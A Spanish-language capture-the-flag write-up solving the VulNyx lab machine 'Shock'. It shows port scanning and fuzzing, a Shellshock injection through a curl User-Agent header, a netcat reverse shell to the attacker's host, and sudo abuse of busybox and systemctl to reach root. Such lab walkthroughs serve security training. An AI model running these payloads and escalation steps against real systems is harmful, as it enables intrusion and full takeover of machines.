VulNyx - Shock

logo

  • Shellshock
  • Abusing BusyBox Binary
  • Abusing Systemctl

Escaneo de puertos

❯ nmap -p- -T5 -v -n 192.168.1.14

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo servicios

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 3736603e26ae233fe18b5d18e7a7c7ce (RSA)
|   256 349a57607d6670d5b5ff4796e0362375 (ECDSA)
|_  256 ae7deefe1dbc994d54453d6116f86c87 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

http.png

Después de enumerar sin encontrar nada lanzo wfuzz poniendo una barra al final / para que vuelva a escanear sin saltarse ninguna ruta. A veces puede pasar que sino pones la barra final no te encuentra aglunas rutas.

❯ wfuzz -c -t 200 --hc=404 --hw=1 -w /usr/share/seclists/Discovery/Web-Content/common.txt "http://192.168.1.14/FUZZ/"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                         
=====================================================================
  
000001038:   403        9 L      28 W       277 Ch      "cgi-bin/"                                                      
000003710:   403        9 L      28 W       277 Ch      "server-status"

La carpeta cgi-bin es una carpeta utilizada para alojar scripts que interactuarán con un navegador web, en esta carpeta se suelen poner archivos .sh, .cgi entre otros, así que hago una búsqueda de extensiones.

❯ wfuzz -c -t 200 --hc=404 --hw=1 -w /usr/share/seclists/Discovery/Web-Content/common.txt -z list,sh-cgi "http://192.168.1.14/cgi-bin/FUZZ.FUZ2Z"

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                            
=====================================================================
                                 
000014961:   500        16 L     77 W       610 Ch      "shell - sh"

Si intento ver el archivo desde firefox veo el sigiente error.

internal_server_error

Buscando un poco por internet he encontrado este artículo.

Puedo ejecutar comandos de la siguiente forma:

❯ curl -H "user-agent: () { :; }; echo;echo; /bin/bash -c 'id'" http://192.168.1.14/cgi-bin/shell.sh

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Como tengo ejecución remota de comandos me mando una shell.

❯ curl -H "user-agent: () { :; }; echo;echo; /bin/bash -c 'nc -e /bin/bash 192.168.1.18 1234'" http://192.168.1.14/cgi-bin/shell.sh

Obtengo la shell.

❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.14] 50850
script /dev/null -c bash
Script started, file is /dev/null
bash-4.3$

Enumeracion de permisos con sudo.

Matching Defaults entries for www-data on shock:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on shock:
    (will) NOPASSWD: /usr/bin/busybox

Para conseguir pivotar de usuario uso este recurso de gtfobins.

Lanzo el siguiente comando para pivotar al usuario will.

sudo -u will /usr/bin/busybox sh

Una vez como como usuario will enumero de nuevo los permisos de sudo.

will@shock:/usr/lib/cgi-bin$ sudo -l

Matching Defaults entries for will on shock:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User will may run the following commands on shock:
    (root) NOPASSWD: /usr/bin/systemctl

De nuevo voy a gtfobins.

Obtengo el root siguiendo los pasos de gtfobins.

sudo systemctl
!bash
root@shock:~# id                                                               
id
uid=0(root) gid=0(root) groups=0(root)

Y con esto ya tenemos resuelta la máquina Shock.

Saludos!